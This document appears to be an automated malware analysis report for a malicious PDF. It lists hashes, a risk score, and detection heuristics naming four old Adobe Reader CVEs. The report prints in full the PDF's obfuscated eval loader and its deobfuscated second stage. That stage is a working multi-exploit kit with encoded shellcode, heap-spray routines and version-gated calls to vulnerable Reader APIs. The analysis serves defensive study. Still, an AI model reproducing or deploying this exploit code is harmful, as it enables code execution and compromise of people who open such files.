Malicious PDF — malware analysis report

Static analysis result for SHA-256 3e208ad61a4723f1…

MALICIOUS

PDF

44.6 KB First seen: 2012-10-18
MD5: ccd5c8114e25d3c70c1220521a3a2693 SHA-1: 33e56fc7d72ef2b2b597e2c06750d71623d488dd SHA-256: 3e208ad61a4723f1d66fb017c591bac23efe349d81e4aaa39521bcc3bb1d4405
408 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 User Execution: Malicious File

The PDF file contains embedded JavaScript, indicated by heuristic firings for PDF_JAVASCRIPT and PDF_JS. The ML classifier also strongly flagged this PDF as malicious. The embedded JavaScript stream, named javascript_obj0001_000.js, is the primary indicator of malicious activity. While the exact script functionality is not detailed, its presence suggests an attempt to execute malicious code, likely to download a second-stage payload or exploit a vulnerability.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF7E 544 bytes
SHA-256: d05772c0b230235668e290173cd1f9d5cb10252da844a89593649320b6e786a7
Preview script
First 1,000 lines of the extracted script
gxdu='';
v='su';
try{[1,2][6].as();}catch(e){v+=('wqg','bst');}
qwe = ('nhsthn','ntrht')[v+'r'];
t='le';
a=["e","a","n","b","w",'v','r'];
e=qwe()[a[0]+a[5]+a[1]+(a,t[v+'r'](0,1))];
e('uycw=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'ti'+'t'+t);
s=uycw[v+a[6]](10,4) + 'tr';
zgii=e('String.fro'+uycw[s](1,9));
q=uycw[uycw[v+'r'](10,4) + 'tr'](14);
fmc = e(q['re'+'pl'+a[1]+'ce'](/u/g,','));
e('k=fmc.length');
for (i = 0; i < k; i+=2) {
	zqlz = fmc[i+1] + ('erybjkerl',fmc[i]);
	gxdu += zgii(zqlz);
}
e(gxdu);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3636 bytes
SHA-256: 0f7d5e46f457a9998faeb8eaa1146dfb8324e734b6e6aee046caeffd3c041c5b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%uef34%ue2aa%uc3fa%ue5e8%uffff%u06ff%ueee3%uefef%u6eb1%ub303%uefee%u66ef%u6208%uffa0%u8062%udebb%ub834%ubcbe%ubcbc%ubcbc%ubcbc%ubcba%u87bc%ueeeb%uefef%ub9ba%u87bc%u8180%uefef%u9a87%u839d%ubb82%u6187%ue1a1%u0703%uefa7%uefef%u07bf%uef93%uefef%u3f10%u2b6c%u87e7%u00a0%ueaa0%u07bf%uef83%uefef%u3f10%u2f6a%uf89a%ubb85%u1cb6%u8745%u119d%uf95c%uf207%uefef%ubfef%ube07%uefef%u10ef%ubc3f%u1185%u6687%uee80%u0752%uefe7%uefef%u07bf%uefd3%uefef%u3f10%ude8f%u8b2f%ubf64%u64df%ue3bd%ubd64%u64fb%uc79d%uf756%uefef%udeef%ude10%u432f%u8ed3%ued93%ucfc3%u202e%ueee2%u0d28%u6e1f%ub410%ua553%u6485%uffad%ufd64%u369a%uab66%uf3cb%u2c8e%u648f%ucb83%u64cb%ud3aa%ubb64%u97ea%u05ee%ua564%u64f7%ucfb5%u04ee%udb0c%u64a6%u64db%u01ee%u10de%u2fde%u4313%u2f6b%ue89b%u202e%ueee2%u0428%ud41b%ucb93%u9ac7%u640e%ucbb5%u04ee%u6489%ua4e3%ub564%ueef3%u6404%u64eb%u07ee%uab66%uf3cb%u2d8e%uefe7%u0007%u1011%u8710%u9b9b%ud59f%uc0c0%u86d7%u9e98%u8cc1%uc195%u8c8c%u84c0%u9fc1%u9f87%u89d0%uded2%uc9d6%ud28a%uefda';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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